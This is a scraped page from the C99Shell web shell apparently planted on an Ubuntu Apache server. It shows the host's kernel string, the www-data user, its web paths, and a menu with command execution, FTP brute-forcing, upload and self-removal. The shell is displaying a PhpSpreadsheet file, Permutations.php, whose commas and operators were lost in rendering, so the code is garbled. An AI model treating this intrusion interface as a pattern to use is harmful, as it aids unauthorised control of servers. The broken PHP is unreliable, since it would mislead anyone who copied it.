!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Permutations.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical;

use 
PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled;
use 
PhpOffice\PhpSpreadsheet\Calculation\Exception;
use 
PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError;
use 
PhpOffice\PhpSpreadsheet\Calculation\MathTrig;
use 
PhpOffice\PhpSpreadsheet\Shared\IntOrFloat;

class 
Permutations
{
    use 
ArrayEnabled;

    
/**
     * PERMUT.
     *
     * Returns the number of permutations for a given number of objects that can be
     *        selected from number objects. A permutation is any set or subset of objects or
     *        events where internal order is significant. Permutations are different from
     *        combinations, for which the internal order is not significant. Use this function
     *        for lottery-style probability calculations.
     *
     * @param mixed $numObjs Integer number of different objects
     *                      Or can be an array of values
     * @param mixed $numInSet Integer number of objects in each permutation
     *                      Or can be an array of values
     *
     * @return array|float|int|string Number of permutations, or a string containing an error
     *         If an array of numbers is passed as an argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function PERMUT($numObjs$numInSet)
    {
        if (
is_array($numObjs) || is_array($numInSet)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs$numInSet);
        }

        try {
            
$numObjs StatisticalValidations::validateInt($numObjs);
            
$numInSet StatisticalValidations::validateInt($numInSet);
        } catch (
Exception $e) {
            return 
$e->getMessage();
        }

        if (
$numObjs $numInSet) {
            return 
ExcelError::NAN();
        }
        
$result1 MathTrig\Factorial::fact($numObjs);
        if (
is_string($result1)) {
            return 
$result1;
        }
        
$result2 MathTrig\Factorial::fact($numObjs $numInSet);
        if (
is_string($result2)) {
            return 
$result2;
        }
        
// phpstan thinks result1 and result2 can be arrays; they can't.
        
$result round($result1 $result2); // @phpstan-ignore-line

        
return IntOrFloat::evaluate($result);
    }

    
/**
     * PERMUTATIONA.
     *
     * Returns the number of permutations for a given number of objects (with repetitions)
     *     that can be selected from the total objects.
     *
     * @param mixed $numObjs Integer number of different objects
     *                      Or can be an array of values
     * @param mixed $numInSet Integer number of objects in each permutation
     *                      Or can be an array of values
     *
     * @return array|float|int|string Number of permutations, or a string containing an error
     *         If an array of numbers is passed as an argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function PERMUTATIONA($numObjs$numInSet)
    {
        if (
is_array($numObjs) || is_array($numInSet)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs$numInSet);
        }

        try {
            
$numObjs StatisticalValidations::validateInt($numObjs);
            
$numInSet StatisticalValidations::validateInt($numInSet);
        } catch (
Exception $e) {
            return 
$e->getMessage();
        }

        if (
$numObjs || $numInSet 0) {
            return 
ExcelError::NAN();
        }

        
$result $numObjs ** $numInSet;

        return 
IntOrFloat::evaluate($result);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--